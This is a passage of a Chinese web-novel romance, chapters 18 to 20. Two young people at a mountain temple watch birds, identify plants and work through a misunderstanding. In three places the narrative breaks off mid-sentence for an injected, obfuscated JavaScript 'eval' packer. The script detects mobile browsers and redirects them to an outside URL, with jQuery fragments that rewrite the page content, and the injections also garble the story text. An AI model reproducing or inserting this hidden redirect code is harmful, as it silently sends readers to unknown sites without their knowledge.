那只通体灰色,脖子上有细密的黑白条纹,身体像鸽子,但体形偏大,窝在枝头显得威严肃穆。 与珠颈斑鸠极其相似,区别在于覆羽和颈部的羽毛,一般人肉眼很难分辨。 宁蓁脑海中闪烁着盘佛珠的老人的话。 “……你也想考我?” 语气冷得像冰。 她大概平时也这副模样,温霖却忽然怔住。 “不是……” 他扯动唇角想笑着回答,但失败了。长睫毛颤动几下,连带着目光一并晃漾,茫然地失去了落点,瞥向旁边。 “我不敢。” 他原本想借这张照片告诉她刚才发生了什么。 临近落日,林间传来猫头鹰的叫声。听说鸮类在野生种群中难得一见,他就循着声音追了好远,最后追到两只卧在高枝的灰鸽子,用手机app识图辨鸟,结果居然是山斑鸠。可恶,被骗了。原来斑鸠的叫声听起来这么悠远,原来电影和电视剧里常用的夜景音效根本不是猫头鹰的。 他只是,想和她分享这些。 沉默在他们之间拉长,直到寺里开始撞钟。 一下。 两下。 沐沐被钟声赶到主人身边。温霖一言不发抓过牵引绳,风似的在血色夕阳里消散。 安唯察觉他倔强的力道,问:“怎么还闹脾气了呢。” “……” * 太阳下山了,客人们要归家去。 温霖牵着沐沐回到车子里。他们还太年轻,他也是,抚慰犬也是。沐沐坐立在副驾驶座位上看着他,这次,空气里的气味让它迷惑不解。 他右臂横在方向盘上,卸下全身的力气伏在上面,发梢遮住眼,一动不动。 那个男人是她的初恋,而且仍然藕断丝连。他突然沦落得进退两难,摆不正自己的位置,因为这件事郁郁寡欢。后来他进了山,听着鸟鸣又给自己哄好了。那么久了,重逢已经是奇迹,如今就算被骂绿茶男小三也无所谓。 对,他都无所谓。 可是为什么你不记得。 温霖视线模糊,一朝意气被她冷淡的质疑撞得水汪汪。 为什么你认识那么多鸟,却认不出我。 山间落日熊熊燃烧。他胸口一阵缓一阵紧,喘息着低语。 “别折磨我了,姐姐。” 18. 观鸟记(上) 他好像生气了。 该说生气还是别扭,抑或委屈……? 她不确定,后来钟声停了,树上柳莺也远远飞走。 夜晚,寮房里。 “果然是我说的不妥吧。”她自言自语。 安唯以为在问自己:“唔?哪句话。” 宁蓁摇摇头,避开话题。 快熄灯了,不过两人都不着急。安唯举起胳膊,拉伸手臂:“哎——遛狗可真累。” 她想起对方抱起十几斤的边牧跑上山门。“因为你总是选择比较累的方式……” “其实心更累,明明在网上看过好多犬类行为教学了,但是真正有一只小狗摆在你眼前左顾右盼,你还是不知道它在想什么。” 不知道他在想什么。 宁蓁默默赞同。不过至少人们明白自己在想什么,那个时候,她只是觉得如果温霖也想考她,她会失望透顶。 小唯坐在椅子上,双手交叠搭着椅背:“真难懂啊,小狗。” “是啊。” 宁蓁一边应和,一边坐在桌前掀开笔记本电脑。邮箱两周没登录过,有三封未读的广告邮件,底下是一封回信。 “您好,稿件《红月亮》已留用,请勿另投。” 她眼睛忽然亮了。 这篇稿子陆陆续续投了半年多,终于在一个省级文学刊物找到归宿。 “说起来你下午去哪里啦?”安唯问。 宁蓁心脏扑通扑通,唇边不自觉带笑:“嗯……去参与了一下鹭山开发。” “鹭山开发?我知道,是上次那群商业社畜聊的什么计划吧。” “鸿鹄计划。” 虽然不希望小唯看见自己坐上那辆名贵的车,可一旦被问起来,宁蓁还是选择如实告知。她没有那么多心力去弥补谎言,从大学时期起,她就只说实话。 安唯摇晃薯片袋,嘭地拍开:“能不能我也参与?” 她顺手递来分享,清新的黄瓜味飘到鼻尖。宁蓁用酒精湿巾擦过手才拿起一片:“下次我们一起去。” 小唯咔滋咔滋嚼着:“算啦,我可不想狂打喷嚏。” 宁蓁笑了笑。电脑停在邮箱页面,“稿件留用”那行小字显得十分醒目,她托着下巴盯了一会儿,打开文档修改下午写的新故事。 十点左右,睡前,她久违地打开朋友圈。 微信好友不超过五十个,能说得上话的更是寥寥无几。她偶尔窥见他们的生活:出国深造,工作,养宠物,养花花草草,到处旅游。 手指往下滑,这里面唯一的高中生两天前刚发了新照片。 「是我的,谁也抢不走」 方善善身穿纯白礼服裙,光裸的肩上结出一朵白纱蝴蝶。她的双眼大而有神,犹如夜里目光炯炯的红角鸮。 美丽的女孩,天生不会低头,可光芒太耀眼只会让人灼伤。 宁蓁对着那句挑衅般的文案暗暗叹息,今天的朋友圈就先刷到这儿吧。 她没直接关掉微信,反而鬼使神差地右滑一下,返回对话列表。 通讯录右上角多了个红点。 谁? 她的人际网络和鹭山一样清净,鲜少有人能主动找上门。 宁蓁以为来者不善,裹紧被子轻轻翻了身,屏幕里却赫然跳出一个天真可爱、灰白毛的小狗脑袋。 「沐沐.请求加你为好友」 「留言讯息:姐姐开门,我是沐沐」 “……?” 原来沐沐也有微信。 她把手机拿近些,同意了好友申请。 沐沐.:「晚上好姐姐」 戒备心瞬间融化。左侧的头像太招人喜欢,小方框塞满小狗好奇的表情,双眼亮晶晶,目不转睛地注视着你,好像真的就在门外迫不及待要和你贴贴。 她回一句:「晚上好沐沐」 “沐沐”骄傲地使用自己的贴图:一张微笑的脸,鼻头湿润,嘴巴周围泛着浅粉色。 宁蓁返回通讯录,突然明白了温霖身为养宠人却不拿自家小狗当头像的原因。 感觉稍微有点心机啊…… 她会心一笑。 沐沐.:「想见你,姐姐」 沐沐.:「什么时候可以再一起玩呀」 对方正在输入…… 沐沐.:「我们」 沐沐.:「我们一起」 笑意不断涌上嘴角,人类怎么可能拒绝听话的小狗呢。 「好啊」 她想补充“但是我最近还有义工的工作”,但字打到一半又按住退格键。 沐沐.:「明天好不好」 沐沐.:「明天天气很晴朗!」 宁蓁打开天气预报,明天气温适中,空气湿度低,阳光明媚。北城春天短,舒服日子没几天,一过了就翻起热浪。 「那就明天吧」 对方又传来表情包,沐沐的笑容裹住牙齿尖尖,满脸写着开心两个字。 沐沐.:「对不起今天我的主人」 沐沐.:「不太礼貌,他知道错了」 连断句都像小孩子的语言习惯。 宁蓁不禁挑了下眉梢。他打出“我的主人”四个字的时候,和平时一样心无旁骛吗? 「没关系,我也有点反应过度」 她踟蹰片刻,放弃了多余的解释。距离下午那些事仅仅半天,但再回想起来,站在长枪短炮面前吹响鸟哨的似乎完全是个陌生人。 沐沐.:「没有」 沐沐.:「谢谢姐姐原谅他」 沐沐.:「(快乐的摇尾巴贴图)」 宁蓁轻触屏幕,指腹点在沐沐毛茸茸的耳朵上。 「明天下午见,早点睡,晚安啦」 * 那晚她没有做梦。 天刚露出熹微的光,她就睡眼惺忪地捞起手机,差点没拿稳砸到自己的脸。 一种陌生的感觉萦绕着,昨夜就开始了,仿佛一株新枝从皮肤中长出来,又痛又痒。 可是为什么? 微信里有温霖的消息:“早上好,醒了打给我”。宁蓁随便披了外衣到寮房外,树上有白头鹎嘹亮清透的鸣叫。 “怎么了?”她拨通电话。 “对不起,今天下午约好带沐沐去体检,我昨天竟然忘了……” 声音低了些,显得有点含糊,他大概也刚刚睡醒。 “没事,以后还有很多时间见面。” “啊,但是……” 温霖急忙叫住她,好像下一秒她就要消失了。 “嗯。”她应一声。 “沐沐来不了,但是我可以。我拜托朋友帮忙去体检了,医生也认识沐沐,所以……” 说着说着,他停了。 可宁蓁不想再经历昨天漫长的沉默。 “那今天下午两点,我在山门下等你。” “……好。” 温霖笑着挂断了电话——她听出来了,与此同时,体内那株无形的植物正在悄然生长。 为什么会有这种怪异又新奇的感觉? 宁蓁瞥见手机上的号码和日期,和李肃的最后一次通话记录已经在五天前。 明明吵架后就应该冷战,互不干涉,等事情差不多过去了,大家差不多忘干净了,再装作若无其事的样子,默契地绝口不提。她和姥爷是这样,和姨妈是这样,甚至人生中唯一的恋爱关系都如出一辙。 一直以来都应该是这样才对。 但温霖好像不是。他等不到五天,连第二天都等不了。 她垂下双手,手腕轻轻颤着,按住胸口酸痛的地方。 * 早上的活儿结束,她去找组长要了一个下午的假。没必要愧疚了,反正清闲的义工随处可见,他们做的事加起来都没有厨房一天多。 莫昭提前打点过,组长只好低眉顺目同意。福缘寺有张师兄王师兄李师兄,众多称呼里似乎只有她的连名带姓。 “宁蓁师兄,早去早回。” 下午,宁蓁准时走下山门。阳光泼洒在绿叶的缝隙,微风吹过的时候能看见树在呼吸。 爽朗的好天气。 她站在第一级阶梯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071745|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追随温暖的光线抬头仰望。 “山门上面有东西?” 温霖走到背后。她转身带起一阵风,拨动他的头发。 “没什么。” 宁蓁摇头笑了笑。感觉寺里有双眼睛,但莫名的注视早在上周真相大白,也许这次她真的多心了。 “那我们出发吧。” 远方,杏花摇摇欲坠,深处是春意盎然的森林。午后几乎没有车辆来往,公路变成宽敞的步道,铺满树影。 “你,”她滞住,顿了顿,“开车过来,路上人不多吗?” 上次并肩时宁蓁喊不出他的名字,今天还是一样。 “走外环还可以,”温霖侧过身回应,“而且就算堵车我也没事,除非车里坐满了人。” 他对自己的身体了如指掌。如果恐慌症是一块偏斜的木板,他知道怎么能让它趋于平衡。 “那挺好的……”她无意中流露一丝钦羡。 温霖顺着她的目光看向地面。 他想解释,尤其是病症开始发作的原因。第一次,他被沉重的头套遮着,视野阴暗狭窄,人们匆匆走着,贴近了,空气越来越稀薄,越来越遥远,最后沉没在漆黑的海。 从那之后,人群变成洪水猛兽。 但是,算了,他欲言又止,觉得这些不合时宜。 日光温柔,宁蓁也没有说话,兀自抬起头目视前方。 “怎么在发呆。”他问。 她说:“唔,突然想到菩萨的‘萨’和披萨的‘萨’是同一个字。” “……真突然啊。” 她外表冷漠镇定,但偶尔显出意料之外的懵然。还没想好怎么吐槽他们就走到秘密基地的入口,宁蓁主动拨开花枝,披着他的影子。 熟悉的林缘,没有红耳鹎了。 溪水淙淙活活。温霖安装好相机的长焦镜头,递给她一个小巧的双筒望远镜:“观鸟设备。” 宁蓁道过谢,指尖擦过他掌心。 冰凉的手。 天气明明很温暖。 忽然,林间传来鸟鸣,标准的啾啾声,一下下清亮地叫醒耳朵。 温霖锁定右前方树林静静听了一会儿。小鸟却在绿叶之间蹦蹦跳跳,灵活变换着方向。 “不愧是观林鸟的难度!” 他举起相机,左手托住镜头,流畅的身形后倾着,让取景框攀上高耸的枝。 宁蓁想起网上看过的说法:“好像直面声源反而容易搞错方向,最好从侧面找。” “侧面的话……” “沐沐是怎么听的?” 温霖稍微歪头:“这样。” 她“嗯”一声,默默咽回了即将脱口而出的称赞。 “很好笑吗。”对方不满地挑眉。 宁蓁面不改色:“没有啊。” 他说:“但是你刚才笑了。” 阳光和煦,春日气息酣醺,她看着温霖优越的颈线,思索该如何掩饰。 恰巧林间又抖落出一串鸟鸣。 “没猜错的话是红胁蓝尾鸲,”宁蓁指出方向,“浑身蓝色的小鸟,在那里。” “我去看看!” 温霖走进去,颀长的背影溶入树荫。 她没跟着,在原地用望远镜扫过密密匝匝的叶子。放下时,他已经走远了。地上的草泛着绒绒的光,绿意活泼泼的,似乎蒸腾着,扑出一股新鲜的雾来。 原来鹭山的颜色可以这么轻盈。 天上是澄明蔚蓝,地上是属于草木的烟波浩渺。空气吻着皮肤,宁蓁阖了眼,感觉记忆中的阴晦潮湿渐渐晒干,再睁开眼,只有一道纯粹的影子飞奔而至。 “请欣赏!” 温霖笑着翻转相机,照片里是一只探头探脑的棕色小鸟。 “好可爱的红胁蓝尾鸲,”宁蓁挪近一步,放大了相片,“还在换羽呢。” “嗯?哪里。” “这里,你看,”她点点小鸟的尾巴,“尾羽有渐变的蓝色,再过一段时间全身都会变蓝。” “会换羽的恐龙后代……生命真的好神奇啊。” 19. 观鸟记(下) 宁蓁悄无声息扬起视线,跃上他平直的肩膀。 温霖缓慢眨眼,注意力全给了屏幕里的红胁蓝尾鸲,好像它活在里面。 她想起了童年,用鸟哨模拟鸣叫,看见小鸟降落在自己脚边的时候,她也曾经有过这么旺盛的好奇心。 “没准某个小鸟的祖先就是《哆啦A梦》里的恐龙。”他突然说。 有种研究认为,鸟类从手盗龙类的一支演化而来。6500万年前,一颗陨石给地球留下伤痕,度过白垩纪后,它们又挺过了始新世渐新世灭绝事件,在漫长的岁月中作为恐龙后裔演化至今。 相比之下,人类的诞生至少晚了6000万年。 6000万,久远得可怕。生命就是如此神奇,不过…… “你喜欢哆啦A梦啊。” “嗯,”温霖承认得十分真诚,“《大雄的新恐龙》里就有双胞胎恐龙,最后它们变成鸟了。” 宁蓁模糊地回忆着:“我小时候只看过《大雄的恐龙》……” 和姥姥一起看的,炎炎夏日,她鼓捣起家里的DVD,电视播着动画片,旁边坐着只喜欢吃大白兔奶糖的四岁男孩,当时他还是她的表弟。 “那个是第一部剧场版。后来他们又养恐龙了,挺可爱的,不过故事有点老套。” 他们一边聊天,一边继续沿着溪水散步。 她问:“什么样的故事?” “大概是大雄和哆啦A梦捡到的恐龙不会飞,被原本的族群排挤,他们想尽办法让恐龙学会了飞翔。” “嗯……” 温霖继续说:“但是,以现在人类的文明程度,不难接纳一个不会飞的同伴吧。” 他头发上覆了层柔软的光。 宁蓁胸口一阵钝痛,轻巧避开了逐渐深入的话题:“去电影院看的吗?” “对啊,每年都在儿童节上映。” 二十三岁,正是喜欢哆啦A梦的年纪。 片刻,她恍了神,以为这句话藏在心里。 没想到一秒钟后温霖就转过头回应:“可就算到了七十岁,我也喜欢哆啦A梦。” ……结果还是说出来了。 微妙的羞耻感爬上了肋骨,但他看起来只是独自开朗。 不知不觉,水流深了。远方又飘来鸟鸣,嘈嘈切切的,像豆大的雨点砸在芭蕉叶上。她分神去听,草丛中却猝不及防冒出一团棕灰色的东西猛地窜出去。 宁蓁吓得倒退两步,没了重心。温霖及时稳住她肩膀:“没事,是兔子。” “你听见了吗?” “什么。” “鸟叫声。” “有,听着很热闹。” 不对,不是热闹。 她身体暂时僵住又迅速恢复,追向树叶斑驳的地方。温霖跟在后面,神色比刚才凝重。鸟叫声愈发嘈杂了,尖厉的,在某处蓄势待发,却没有一声冲破桎梏,始终绵绵不绝地撕扯着。 声音没有变过方向。 换句话说,它们被困在了原地。 林间,宁蓁找到碎了一地的油松,暗绿枝叶厚厚堆叠在泥土上。 温霖蹲下查看树枝的间隙:“从这里钻进去的吗。” 鸟叫声一股股急切地往外冲。她蹙起眉,分不清是嬉闹还是求助。 唯一的区别在于它们能不能自己飞出来。 竹哨沉睡在风衣侧面,宁蓁已经来不及思考。 吹奏吧。 吹响它。 新的鸣声流向松枝。温霖倏地抬起头,她腰背笔直地站在那里,像奇迹般重逢那天,浑身散发着不可动摇的凛然。 他怔住了,仰望着。即使看过千百遍,他仍然会被这一幕牢牢吸引。 鸟鸣汩汩地冲向耳朵,她吹了邀玩的鸣唱,却没有一只鸟愿意现身。 “得动手帮忙。” 哨音擦着空气急停,宁蓁也俯下身。 “我来。”温霖立刻作出反应。油松的枝叶又粗又硬,是一束束深绿的针,隔着卫衣面料刺挠皮肤。他把松枝抱了满怀,迅速却谨慎,怕哪根松枝压垮底下不断尖鸣的小生物。 奇妙的,悠久的生物。羽翼张开也不过手掌大小,肚子上一片明亮的黄色。 “是黄腹山雀……” 两只小鸟逃得极快,飞行时鸣声变化,尖利缭乱的雨终于平息。 宁蓁轻叹一口气:“幸好还能飞起来。” 温霖目送它们离开,问:“怎么会被压在松树底下?” “也许护林员工作的时候没注意吧。” 泥土地上一片狼藉,油松枝干有人为截断的痕迹。 林间安静了。 宁蓁却闻到一丝若有若无的血腥味,没准刚才太着急,不小心咬破自己的舌尖。鸟哨回到风衣口袋,将她钉在原地。昨天吹奏过,今天又一次,而且是她主动,这感觉血淋淋的,就像从胸口剜出心脏捧给别人看。 “回去吗?我们还有很长的路可以走。” 深入森林也代表着危险。温霖回头,阳光下,她撞进他清澈的眼睛。 青草冲散了血腥气味,错觉似的消失不见。 宁蓁心跳剧烈地响。也许尝试是有效的,从现在开始,她重新习惯吹奏鸟哨了。也许一切都会烟消云散的。 “走吧。” * 他们回到临近溪水的地方。春日变回和暖模样,小鸟们的鸣唱欢欣愉悦。 温霖侧耳倾听,在适宜的距离下捕捉影像,偶尔他推荐宁蓁也试试拍鸟,但都被婉拒。 “长焦镜头好沉。”她摇头。 宁蓁的风衣袖子挽起一截。他目光不经意拂过她手腕,似乎比从前更细了一圈。 “要多吃点饭啊。” “但是最近只有素斋……” 不知道为什么温霖突然提起吃饭,实际上,她的确习惯了应付,即使不在福缘寺吃素斋,回到家里,也只是机械地点外卖,象征性吞几口,或者用水果和零食凑合。 “改天一起吃饭吧。”他说。 “我还欠你一顿。” 温霖笑了,宁蓁看见他柔软的唇下藏着颗尖尖的犬齿。 漂亮的形状。 她移开视线,转到路旁的标识:前方人烟罕至,请自负安全。 木牌上的箭头指向北方密林。温霖朝林子里探了一眼:“幸好那天沐沐找到了你。” 再清朗再温和的山色,到了夜晚也会凶光毕露。 如果贸然在鹭山深处迷失方向,恐怕真的九死一生。 “幸好你也找到了沐沐。” 话语慎重地推过去,拉过来,但她只表现出礼貌的同情。 空气有沉默的趋势。两人又路过一个招牌,明晃晃写着四个大字:禁止垂钓。 但小溪边就坐着三名全副武装的男人,堂堂正正地甩杆。 温霖放低音量:“无处不在的钓鱼佬。” 再走几十步,又碰见个牌子,这次贴心地写:游客亲水区,垂钓点。 “这里反而没人了。”他吐槽。 过程中,宁蓁始终向左侧张望着,没注意那些钓鱼的人,反而盯着树。 “好想露营啊……” 温霖听见她的自言自语:“远离浅滩应该有合适的扎营位置。” “可是夜里点灯会招惹蚊虫,不一定十分安全。山上昼夜温差大,取暖也是问题,为了避免火灾意外,还不能用炭火。”她纠结着,“所以我只是随便想想。” 温霖也想了想,但一点都不随便。思索完,宁蓁已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071746|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一言不发跑到背后去了,伸直手臂抬起手机,对准茂密的碧绿矮树。 他跟过去,问她在干什么。 “想看看具体是哪种植物,”宁蓁说,“如果不知道名字,就只能管它叫‘树’。” 她用手机app识图,拍下枝杈上柔嫩的叶。 “答案是?” “金银忍冬。” “金银忍冬,”他重复,仿佛得到一个知识点,“哪个app?我也要试试。” 宁蓁给他看了手机。太阳悬在晴空,植物边缘镶着毛茸茸的光,勾起人探索的欲望。 不远处伫立着一棵树,叶子稀疏,十数朵红花盛放着,坠在看似干枯的枝头。 温霖走过去识别,顺着结果通通念出来:“红花碧桃,蔷薇科,桃属,灿烂绚丽,婀娜多姿,二月春归风雨天,碧桃花下感流年……”【注1】 “这个app就是有点不务正业,”宁蓁无奈,“我想知道植物的分布、习性和花期,但它没有这些,还自作主张添了多余的古诗词。” 相比之下,识鸟app就十分专业,不仅绘有鸟类形态图之类的百科信息,还收集了保护现状和记录频率,甚至罕见指数。 “确实,谁需要‘呈现出一派蝶飞蜂舞、鸟语花香的热闹景象’这种信息啊……”虽然槽点满满,但他仍坚持看完所有词条。【注2】 不太好用,可暂时找不到替代品。她抬眼又看见一棵高耸的树,跑过去拍下它丰茂的树冠。 “这居然是柳树。” 宁蓁有些意外。春日垂柳如烟,一拨就散了,可这棵树的枝干反倒坚/挺有力地朝太阳生长。 “有的柳树向下,”温霖模仿柳枝,伸出一只手比划,“有的向上,不过都是柳叶。” 她颔首:“看来要观察叶子。” 正说到柳,林子里的柳莺唱起了歌。 宁蓁喜欢听柳莺科小鸟的鸣叫——“叶映如簧语。晓来枝上绵蛮”,虽然分不清是淡眉、黄眉、灰喉还是淡黄腰,但它们唱得颇有古意,而且难以用鸟哨模仿。【注3】 后来温霖扫出了元宝槭、榆叶梅和黄刺玫。他比她还兴致盎然,也不介意低身去拍地上不起眼的小草。 “这是什么,好像没见过。”他盯着一株与众不同的树,大片柔叶之间夹着蝴蝶翅膀般的白色包片。 宁蓁拍下花叶,略过app里的冗余信息:“是珙桐。” 第一季节快要过半,早春的花该谢了。林子越来越浅,空气清新的狭道上,樱桃李轻柔摇落,素雅轻巧,星星点点铺了一地。 “再过不久就掉光了。”她习惯性惋惜。 温霖却说:“花谢了,叶子才能长出来。” “也对,秋天还会结出果子……” 满眼落英缤纷,织出春意。刹那间,她脑海中的记忆千回百转,悸动地喧嚣起来。 这段对话是不是发生过? 下一句是…… “小鸟们应该很喜欢”。 相比纤弱的樱桃李,旁边的树枝干粗壮,花是白色染粉,绽放得明亮美满。 温霖先一步伸出手,用相机扫下团团紧簇的花瓣。 日光倾斜,她站在他的影子里。他们已经走出很远,以至于她身上微微发热。 一个人查了,另一个人就不必。宁蓁等待他说出答案,他侧脸轮廓清晰,在回忆里却朦朦胧胧。 “西府海棠。” 他停顿,轻滑屏幕,目光簌簌地往下落,唇边有释然的笑。 宁蓁想问,我们是不是在哪里见过,比细雨蒙蒙的山间夜色更早,在很久、很久以前。 周围澎湃的青草香气扑面而来。他继续念,只有尾音收敛了些。 “……花语是单恋。” 20. 奢侈品 花语是…… 单恋吗? 她想起初次来到林缘观鸟的时候。机械快门像流瀑,带着飞溅的水花。他展示了摆设成果,旧相机里不小心漏了一张,从她眼前流走。 ——疏阔的绿意,与一道人影相拥。 但现在没时间深究那回事。 她最想知道如果他们曾经见过,地点会在哪里。难道是同窗?研究生时期人文学院的后辈?也许他们在研究室碰见过,或者食堂,或者人来人往的快递站前面? 宁蓁悄悄往旁边看。 阳光下显得清纯灿烂的一张脸,不容忽视的身高和身材比例……这样的同学在身边,即使没亲眼见过,风也会递来传言。可她真的找不到。因为记性一年比一年差吗?有可能,毕竟日子翻得太快,就连昨天的事,悬崖上面那一双双精明的眼睛,她都忘得七七八八了。 不如直接问吧。 问问他,“我们是不是在哪里见过”。 西边,夕阳烧红了,太阳轰轰烈烈沉下去,对面一片天却染成粉紫色,云翳隐约托着月的轮廓。 宁蓁在身侧撕开包装纸。75%浓度的酒精湿巾,温霖记得她今天已经第四次用它擦拭双手。 折返的路太短,转眼就回到福缘寺左近。公路上迎面来了个中年男人,圆脸,圆脑壳,头发几乎剃光了。 “姑娘,下午出去啦。” 路边没有别人,他在和他们打招呼,主要是她。 “去观鸟。” 宁蓁礼貌笑了笑,一如既往的浅淡。温霖看出对方来自寺里,和她关系不近不远。 “这位……男朋友啊。” 师傅脸上捧起喜悦,一句客套的寒暄突如其来罩在两人头顶。 ——“不……” ——“……不是。” 异口同声,只有犹豫的速度相差毫厘。 那师傅笑意不减,摆摆手:“哦!嗐,怪我老眼昏花,对不住啦。” 宁蓁摇头,温霖回了个微笑,说没事。 黄昏,小鸟纷纷归巢。 最后一段路,他们各自在心里反省。 “现在还不是”——寒暄来得太突然,温霖差点脱口而出。可转念一想,“现在不”的潜台词滑向了“以后是”“早晚是”。不仅缺乏边界感还显得油腔滑调,她一定不会喜欢的。 “那如果换成‘希望是’……”他默默设想。 宁蓁不知道他正低头推敲字句。 后厨师傅认错人,她反而惊醒了,庆幸自己刚才没真的问他。“我们是不是在哪里见过”——多老土的搭讪套路,早就被时代抛弃了。如今谁还这么说话?恐怕只剩下杀猪盘的诈骗犯。 “对了,谢谢你的设备。” 临近山门,宁蓁递还望远镜。 “拿着吧,比起长焦,用这个总归没什么负担。” 她想想自己留在寮房的一堆东西:“可是我的行李有点负担。” “那就,”他依然目光明澈,“我先保管,等你到家为止。” 暮色四合,白日正在陷落。 山门之上古刹寂然,宁蓁迟疑一瞬,对他说好。 * 温霖带来的双筒望远镜的确轻便。他接过去,动作工工整整,没再轻易暴露自己掌心的温度。 稍微有点可惜。 寮房里,宁蓁站在窗前发呆。安唯照例趴在椅背上,晃得古旧的木椅子吱呀作响。 “在想什么啊凝真老师。” 所以,他的体温一直都那么低吗。 “凝真老师——” 安唯拉长声音,像要唤醒某个智能设备。 “在想今晚的天像熟透的番茄……” 宁蓁回过神,迎向背后神秘的笑脸。 “嗯?你说啥?”短发女孩故意问。 “今晚的天空像熟透的……”她不明所以,换了种说法,“西红柿?” “你今天心情不错嘛!” 宁蓁不会喜形于色。在安唯眼中,她的眼睛时而漠然,时而木然。 “心情……”她琢磨一会儿,“对啊,因为今天天气很好。” 意外坦率的回答。 山间余霞成绮,仿佛伸手就能碰得到。 “好吧,确实。” 安唯笑着瞥向窗外,起身把椅子踢到长桌底下。 “又该干活儿啦。” “可是我刚才看见师傅往山上走了。” “不会吧,就我们两个做饭?” “也许……” …… 素斋简单,清淡无需调味,不过是洗切蒸煮的工序。熟能生巧,工作变简单了,小唯举着一筐茄子说她们要称霸后厨,师傅回来时,热气腾腾的斋饭已经出锅。 夜晚,宁蓁开始整理白日识别的花花草草。 App里囤积了很多,有的三番五次遇见也记不住名字。她搜索那些品种,从荆芥到珍珠绣线菊。百科说欧洲荚蒾的树皮可以缓解痛经,二月兰的茎叶能当作野菜食用。 “珙桐……这么珍贵?” 她依次浏览网页,发现app里平平无奇的珙桐竟然是国家一级重点保护的野生植物,属于山茱萸目蓝果科,与梧桐的锦葵目相差甚远。 “分布在湖西、五川、雨南……” 显然都是雨水充沛、气候温暖的南部城市。 宁蓁有过一瞬怀疑,但就像红耳鹎和凤头鹀没有在北城留下记录那样,过去的分布记载并不完全。她找了找相关资料,发现北城的中心公园也存在人工培育的珙桐,还上过当地电视节目。 节目…… 说起来,非遗采访项目似乎没音信了。总之李肃最近没再提起那回事,制作人也不再尝试联络她们。为了逃避镜头,她躲进山里孤零零的寺庙,然后这件事真的戛然而止。也许可以侥幸认为连上天都在帮她。但当天她躲在卫生间里,听见制作组因为交通事故去了医院。这不太对。她不希望被老天帮忙会催生如此代价。最好的结果是他们没事,但觉得这次企划不吉利,所以暂时取消…… 宁蓁对着笔记本荧幕神游,直到哗哗的水声停止,室友推开浴室门,涌出一股水汽。 “洗热水澡真享受啊。” 黑短发淌下水珠,贴在后颈,安唯用浴巾裹着随意揉了几下头发。 “要是有杯气泡酒就好了,3度,冰镇的,白桃味。” 酒和肉类都在福缘寺戒律之内,但她无所谓。 “抽屉里有吹风机。” “没关系,早晚会干的。” 短发很方便,而且肆意潇洒。宁蓁转头看着安唯的侧脸,正要说点什么。 「下周二清明节,去陵园扫墓」 手机忽然振动,连带着桌面也不安稳。李肃发来的消息硬生生拽着她下坠。 两人的相处和从前一样,一周过去,旧事就算翻篇了,哪怕起因是姨妈要把她推给一个四年不见的男人。 不再谈论,就相当于没发生过。 她只能已读不回。 “其实我一直好奇,那个……”小唯直勾勾盯着长桌上靠墙的红白撞色纸袋。 话没说完。宁蓁以为她想知道里面是什么,起身抽出手提袋里方方正正的盒子。 “还没打开看过。” 一起看吧,她想说。 潮湿记忆蔓延。身体不由自主,执意掀开精美的包装,好像不这么做就要黏上阴暗角落的藓。 礼盒打开,米色长裙从里面轻盈飞出,做旧的丝绒材质,褶皱与垂感像风中飘逸的云。 高定礼服,内含两道高昂标价:财富,以及人脉。 安唯一手撑着下巴,给出评价:“漂亮的。” 漂亮,也十分大胆。长裙垂到脚踝,配一条环形项链,胸前赫然开出镂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071747|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空的V字,一直延伸到小腹。 宁蓁把它铺在床上,手臂僵硬。 “裙子,”安唯沉默两秒,“该不会是‘初恋’送的吧。” 瞒是瞒不住的。她面无表情:“可为什么要送我这个。” 毕竟高定礼服并非一般的奢侈品。 “想用财力挽回前女友的心么?”安唯漫长地呼出一口气,“谁知道呢,我不懂男人。” 谈话变得有些蹊跷,譬如萍水相逢的寺庙室友比想象中更了解他们,譬如看似称赞的反应却隐含着一丝轻蔑。但宁蓁错过了,心头一怔,什么都没注意到。 因为她脑海中猛地浮出二十岁的画面。 那时,大学室友常常要求观看她收到的礼物,久而久之,在众人面前拆封就沦为一项不成文的约定。 ——“今天又收到什么啦?” ——“拜托了蓁蓁!让我试背一下包包嘛,马上就还给你。” 大家生活在同一屋檐下,别人好声好气商量,宁蓁自然无法拒绝。只不过长此以往,新鲜感日益流失,她们最后没了兴趣,那些礼物也被通通装好,原封不动地归还。 尖叫声总算消停了。直到某天,大概新学期伊始,斜对床的筱梦匆匆撞开寝室门扑到书桌上,一支黑色手袋垂在腰边,重新触动她们的开关。 ——“筱梦,这不是香奈儿经典款吗,怎么你男朋友也这么有眼光?” ——“我们寝真的卧虎藏龙啊!” 在四处纷飞的夸张语调里,宁蓁艰难地望向斜后方。 